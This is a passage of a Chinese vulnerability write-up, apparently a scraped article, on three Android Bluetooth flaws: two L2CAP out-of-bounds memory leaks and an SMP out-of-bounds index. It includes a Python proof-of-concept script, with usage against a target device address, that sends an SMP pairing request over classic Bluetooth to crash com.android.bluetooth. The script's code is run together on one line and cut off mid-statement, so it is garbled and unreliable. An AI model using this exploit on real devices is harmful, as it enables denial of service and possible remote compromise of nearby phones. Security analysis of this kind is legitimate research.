烟草味道|快速理解Android中的三个蓝牙漏洞( 五 )


总结来说 , 过程如下图所示:
烟草味道|快速理解Android中的三个蓝牙漏洞文中提及的函数调用关系:
烟草味道|快速理解Android中的三个蓝牙漏洞【箭头指向表示调用该函数】
理论上讲 , 如果能够找到了一个版本的bluetooth.default.so , 取消引用entry_table [event-1] [curr_state] , 那么程序就不会崩溃 , 可以进一步解决此错误 。
Proof-of-Concept(概念验证)以下Python代码触发了该漏洞 , 并且很有可能使目标设备上的com.android.bluetooth守护程序崩溃 。
此Python代码使用Blueborne框架中的l2cap_infra包 。
用法: $ sudo python smp01.py。
例如:$ sudo python smp01.py hci0 00:11:22:33:44:55 。
import osimport sysfrom l2cap_infra import *L2CAP_SMP_CID = 0x06# This matches the CID used in l2cap_infra to establish a successful connection.OUR_LOCAL_SCID = 0x40SMP_OPCODE_PAIRING_REQ = 0x01def main(src_hci, dst_bdaddr):l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."cmd_code = SMP_OPCODE_PAIRING_REQthe_id = 0x41# not importantcmd_len = 0x08flags = 0x4142# not important# here we use L2CAP_SMP_CID as cidl2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('")else:if os.getuid():print "Error: This script must be run as root."else:main(*sys.argv[1:])结论漏洞2和漏洞1思想本质上是一致的 。

  • 相同点:都因为STREAM_TO_UINT16宏没有对读入数据进行检验 , 是否到达数据包中还有足够的数据 , 导致越界读取 , 最后泄漏内存数据 。
  • 不同点:在绕过前面判断后 到达的泄漏函数 , 漏洞1只向远程对等方法送了第二个从数据包那块读入的uint16_t数据;而漏洞2则向远程对等放发送了两个从数据包那块读入的uint16_t的数据 , 所以漏洞1可以泄漏2两个字节 , 漏洞2可以泄漏4个字节
前两个漏洞会影响处理L2CAP协议的代码 , 并且它们允许远程攻击者(在蓝牙范围内)泄露属于com.android.bluetooth进程的内存内容 。 这些内存泄露漏洞可能对漏洞利用链的早期阶段的攻击者有所帮助 , 甚至可以用来检索敏感数据 。
第三个漏洞是SMP协议实现中的越界数组索引错误 , 尽管最有可能使com.android.bluetooth进程崩溃 , 但仍有可能利用它在易受攻击的Android设备上远程执行代码 。 有趣的是 , 与两个L2CAP问题不同 , 此SMP错误并不是解析格式错误的数据包的结果 。 实际上 , 可以通过发送格式正确的SMP数据包(包含SMP_OPCODE_PAIRING_REQ)来触发它 , 但是要是通过BR / EDR(“经典”蓝牙)传输而不是预期的BLE(低能耗)传输来触发 。
总的来说 , 虽然是两类漏洞 , 但是问题起因都在于代码上的检验不够完整导致的 , 使得程序执行到了非预期的情况 。
参考:
本文由言承原创发布 转载 , 请参考转载声明 , 注明出处:


推荐阅读